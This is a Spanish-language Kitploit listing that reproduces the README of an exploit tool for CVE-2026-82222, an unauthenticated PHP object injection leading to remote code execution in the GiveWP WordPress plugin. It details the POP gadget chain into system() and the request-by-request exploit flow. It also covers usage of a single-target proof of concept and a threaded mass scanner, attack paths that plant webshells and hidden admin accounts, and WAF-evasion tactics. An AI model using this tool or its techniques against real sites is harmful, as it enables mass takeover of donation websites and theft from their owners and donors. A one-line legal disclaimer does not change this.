Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-82222 — GiveWP <= 4.16.7.1 Inyección de Objetos PHP No Autenticada → RCE | Kitploit
Herramientas/GitHubGitHub/r0x19/cve-2026-82222
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubr0x19/cve-2026-82222

CVE-2026-82222

GiveWP <= 4.16.7.1 Inyección de Objetos PHP No Autenticada → RCE

Ver Repositorio
hace 15h 37mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-82222 — GiveWP <= 4.16.7.1 Inyección de Objetos PHP No Autenticada → RCE

Autor: Rx019
CVSS: 10.0 (Crítico)
Tipo: Inyección de Objetos PHP No Autenticada → Ejecución Remota de Código
Plugin: GiveWP (give) — Plugin de Donaciones y Plataforma de Recaudación de Fondos
Afectado: <= 4.16.7.1
Parcheado: 4.16.8


Descripción

GiveWP almacena el last_name de un donante en la sesión PHP sin saneamiento. Cuando se envía una donación sin el campo give_last, GiveWP deserializa el valor crudo de la base de datos directamente en la sesión. Esto permite que un atacante no autenticado inyecte un objeto PHP serializado en last_name a través del endpoint del perfil del donante, y luego active la deserialización enviando una donación manipulada — lo que resulta en la ejecución arbitraria de comandos mediante una cadena POP preconstruida disponible en las librerías de proveedores incluidas en GiveWP.


Cadena POP

root@kitploit:~
TCPDF::__destruct() └─ Session::getBag() ← llama al método nombrado por $attributeName └─ DonationFactory::__call() └─ system($command) ← $command proviene de $attributeName

Clases de proveedores utilizadas:

ClaseArchivo
TCPDFvendor/tecnickcom/tcpdf/tcpdf.php
Give\Vendors\Symfony\...\Sessionvendor/symfony/http-foundation/Session/Session.php
Give\TestData\Factories\DonationFactorysrc/TestData/Factories/DonationFactory.php

Flujo del Exploit

root@kitploit:~
1. Registrarse como donante         → sesión autenticada (cookie wp-login)
2. POST /wp-admin/profile.php
   last_name = cadena TCPDF serializada con comando system() incrustado
3. POST /wp-admin/admin-ajax.php
   action=give_process_donation  (campo give_last OMITIDO)
   → GiveWP lee last_name de la BD, escribe el objeto crudo en la sesión
4. GET /?p={form_id}
   → el cierre de la sesión PHP dispara TCPDF::__destruct()
   → la cadena POP ejecuta system(command)
5. Confirmar shell / admin creado

Requisitos

root@kitploit:~
pip install requests rich

Python >= 3.9


Archivos

ArchivoDescripción
CVE-2026-82222.pyPoC de objetivo único — salida detallada paso a paso
CVE-2026-82222-MASS.pyEscáner masivo — modo por lotes con hilos

Uso

Objetivo Único

root@kitploit:~
python CVE-2026-82222.py

Solicitud interactiva:

root@kitploit:~
  URL del objetivo: https://victim.com

O directo:

root@kitploit:~
python CVE-2026-82222.py https://victim.com

Escáner Masivo

root@kitploit:~
# Lote desde archivo
python CVE-2026-82222-MASS.py -f targets.txt

# Número personalizado de hilos
python CVE-2026-82222-MASS.py -f targets.txt -t 10

# Múltiples objetivos en línea
python CVE-2026-82222-MASS.py https://site1.com https://site2.com

# Menú interactivo
python CVE-2026-82222-MASS.py

Formato del archivo de lote:

root@kitploit:~
# Las líneas que comienzan con # se ignoran
https://target1.com
https://target2.com
target3.com          # protocolo prefijado automáticamente como https://
http://target4.com

Salida

Modo Único

root@kitploit:~
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│                                                        │
│  PWNED (shell + directo)  https://victim.com          │
│  Versión : 4.15.0                                     │
│  WAF     : Wordfence                                   │
│  Shell   : https://victim.com/wp-content/uploads/...  │
│  Método  : shell + directo (sin necesidad de escribir .php) │
│  Admin   : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│                                                        │
╰────────────────────────────────────────────────────────╯

Resumen por Lotes

root@kitploit:~
  Vulnerables : 12   Parciales : 3   Parcheados : 44   No Vulnerables : 21   Errores : 2   Total : 82

Resultados guardados en ~/Documents/CVE/CVE-2026-82222/:

ArchivoContenido
CVE-2026-82222_YYYYMMDD_HHMMSS.txtResultado de ejecución única
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txtResultados completos del lote
success_results.txtLíneas VULN/PARCIAL añadidas

Rutas de Ataque

El exploit intenta dos rutas principales en secuencia:

Ruta A — Admin Directo (sin escribir archivo shell)

  1. Inyectar código PHP wp_create_user() como base64 en la cadena TCPDF
  2. Disparar la cadena — GiveWP ejecuta el código en el servidor
  3. Verificar iniciando sesión como el admin creado
  4. Soltar shell mediante el editor de archivos de plugin/tema de WordPress

Ruta B — Soltar Shell con Cadena GiveWP

Se utiliza cuando la Ruta A falla o no se puede verificar el inicio de sesión del admin.

  1. Registrar una sesión de donante nueva (nuevo archivo de sesión PHP — evita la contención de bloqueo del worker de la Ruta A)
  2. Inyectar el comando de soltar shell en last_name mediante el endpoint del perfil
  3. Contaminar la sesión (donar sin give_last)
  4. Activar la deserialización (/?p={form_id})
  5. Confirmar la presencia del shell en los directorios upload/plugin/tema
  6. Respaldo: baliza id | tee a un archivo .txt en uploads

Ruta C — Admin vía Shell

Si se confirma un shell pero aún no existe un admin, crear uno mediante el shell usando wp_create_user() a través del parámetro ?c= del webshell.


Manejo de WAF

WAFEstrategia
Imunify360Eliminar cabeceras de suplantación X-Forwarded-For / X-Real-IP
WordfenceRotar User-Agent desde el grupo
CloudflareEstablecer Accept-Encoding: gzip, deflate, br

Notas

  • El exploit requiere que GiveWP tenga al menos un formulario de donación publicado
  • El registro debe estar habilitado en el sitio objetivo (configuración principal de WordPress)
  • Drenaje del grupo de workers PHP-FPM: se inserta una pausa de 30 segundos después de la cadena de admin directo para permitir que el worker que mantiene la sesión la libere antes de las solicitudes posteriores
  • DISALLOW_FILE_EDIT en wp-config.php bloquea el vector del editor de plugin/tema — el script lo detecta temprano y pasa a la Ruta B
  • Nombre del shell: Rx{100-999}.php — aleatorizado por ejecución

Aviso Legal

Esta herramienta se publica únicamente para pruebas de seguridad autorizadas y fines de investigación.
Úsela solo contra sistemas que posea o para los cuales tenga permiso escrito explícito.
El uso no autorizado es ilegal y poco ético.

Descargar herramienta